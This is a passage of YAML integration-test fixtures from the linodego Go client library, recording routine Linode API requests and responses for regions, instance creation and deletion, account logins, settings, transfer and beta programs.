"capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 08 Nov 2024 14:56:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-bm057s6gwc45","root_pass":"^07IK!9Q/8dXDbadb391O0Ar@f9\u0026xM7NwH@,dWeA''Hx@W203r}h\u003cQr{-50.f#L1#","image":"linode/debian9","firewall_id":1160422,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 66787226, "label": "go-test-ins-bm057s6gwc45", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.60.170"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "c37a9389a8780ce12d745d3f703cbee667a6278e", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 08 Nov 2024 14:56:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"test-config","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66787226/configs method: POST response: body: '{"id": 70105769, "label": "test-config", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "525" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 08 Nov 2024 14:56:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"action":"linode_config_create","entity.id":66787226,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 874986920, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "linode_config_create", "username": "ErikZilber", "entity": {"label": "go-test-ins-bm057s6gwc45", "id": 66787226, "type": "linode", "url": "/v4/linode/instances/66787226"}, "status": "notification", "secondary_entity": {"id": 70105769, "type": "linode_config", "label": "test-config", "url": "/v4/linode/instances/66787226/configs/70105769"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "580" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 08 Nov 2024 14:56:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66787226 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 08 Nov 2024 14:56:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestAccountLogins_List.yaml000066400000000000000000000114041474652371000320530ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/logins?page=1 method: GET response: body: '{"data": [{"id": 1571371160, "datetime": "2018-01-02T03:04:05", "ip": "207.172.164.59", "username": "ychen123", "status": "successful", "restricted": false}, {"id": 1571930431, "datetime": "2018-01-02T03:04:05", "ip": "207.172.164.59", "username": "ychen123", "status": "successful", "restricted": false}, {"id": 1572136305, "datetime": "2018-01-02T03:04:05", "ip": "207.172.164.59", "username": "ychen123", "status": "successful", "restricted": false}, {"id": 1572315925, "datetime": "2018-01-02T03:04:05", "ip": "207.172.164.59", "username": "ychen123", "status": "successful", "restricted": false}, {"id": 1572346753, "datetime": "2018-01-02T03:04:05", "ip": "50.116.59.237", "username": "ychen123", "status": "successful", "restricted": false}, {"id": 1572356544, "datetime": "2018-01-02T03:04:05", "ip": "50.116.59.237", "username": "ychen123", "status": "successful", "restricted": false}], "page": 1, "pages": 1, "results": 6}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/logins/1571371160 method: GET response: body: '{"id": 1571371160, "datetime": "2018-01-02T03:04:05", "ip": "207.172.164.59", "username": "ychen123", "status": "successful", "restricted": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "146" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestAccountMaintenances_List.yaml000066400000000000000000000031071474652371000332260ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/maintenance?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 30 Oct 2024 14:06:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestAccountNotifications_List.yaml000066400000000000000000000036141474652371000334350ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/notifications?page=1 method: GET response: body: '{"pages": 1, "page": 1, "results": 0, "data": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestAccountSettings.yaml000066400000000000000000000021451474652371000314270ustar00rootroot00000000000000version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json url: https://api.linode.com/v4beta/account/settings method: GET response: body: '{ "backups_enabled": true, "managed": true, "network_helper": true, "longview_subscription": "longview-3", "object_storage": "active" }' headers: Content-Type: - application/json status: 200 code: 200 duration: "" - request: body: '{"backups_enabled":false,"longview_subscription":"longview-10","network_helper":false}' form: {} headers: Accept: - application/json Content-Type: - application/json url: https://api.linode.com/v4beta/account/settings method: PUT response: body: '{ "backups_enabled": false, "managed": true, "network_helper": false, "longview_subscription": "longview-10", "object_storage": "active" }' headers: Content-Type: - application/json status: 200 code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestAccountTransfer_Get.yaml000066400000000000000000000034471474652371000322200ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/transfer method: GET response: body: '{ "billable": 100, "quota": 1000, "used": 200, "region_transfers": [ { "id": "us-east", "billable": 50, "quota": 500, "used": 100 }, { "id": "us-west", "billable": 50, "quota": 500, "used": 100 } ] }' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "287" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 16 Apr 2024 20:58:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY X-Oauth-Scopes: - account:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestAccount_Get.yaml000066400000000000000000000046341474652371000305120ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account method: GET response: body: '{"company": "Akamai Technologies - Compute - Individual", "email": "ezilber@akamai.com", "first_name": "", "last_name": "", "address_1": "", "address_2": "", "city": "", "state": "MA", "zip": "02142", "country": "US", "phone": "", "balance": 0.0, "tax_id": "", "billing_source": "linode", "credit_card": {"last_four": null, "expiry": null}, "balance_uninvoiced": 0.0, "active_since": "2018-01-02T03:04:05", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "LKE HA Control Planes", "Block Storage Encryption", "Machine Images", "Managed Databases", "Managed Databases Beta", "VPCs", "LKE Network Access Control List (IP ACL)", "Placement Group", "Object Storage Access Key Regions", "Disk Encryption", "SMTP Enabled"], "active_promotions": [], "euuid": "8151FBB7-C6D6-4480-8DF1A91D15E8AA0B"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 08 Nov 2024 14:32:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestBetaProgram_Get.yaml000066400000000000000000000123031474652371000313110ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/betas?page=1 method: GET response: body: '{"data": [{"id": "rtx_4000_ada_beta", "label": "NVIDIA RTX 4000 Ada Series GPU Beta", "description": "Our new cloud GPUs are available to a limited number of customers for early access. Powered by the NVIDIA Quadro RTX 4000 Ada generation GPU cards, these GPUs are optimized for media workloads such as media transcoding, but fit a range of use cases for parallelization such as training for AI models and data analysis. If accepted for early access participation, you will be notified via support ticket with instructions and resources. Beta GPUs are subject to standard charges.", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": false, "more_info": "https://www.linode.com/docs/products/compute/compute-instances/plans/gpu/"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store 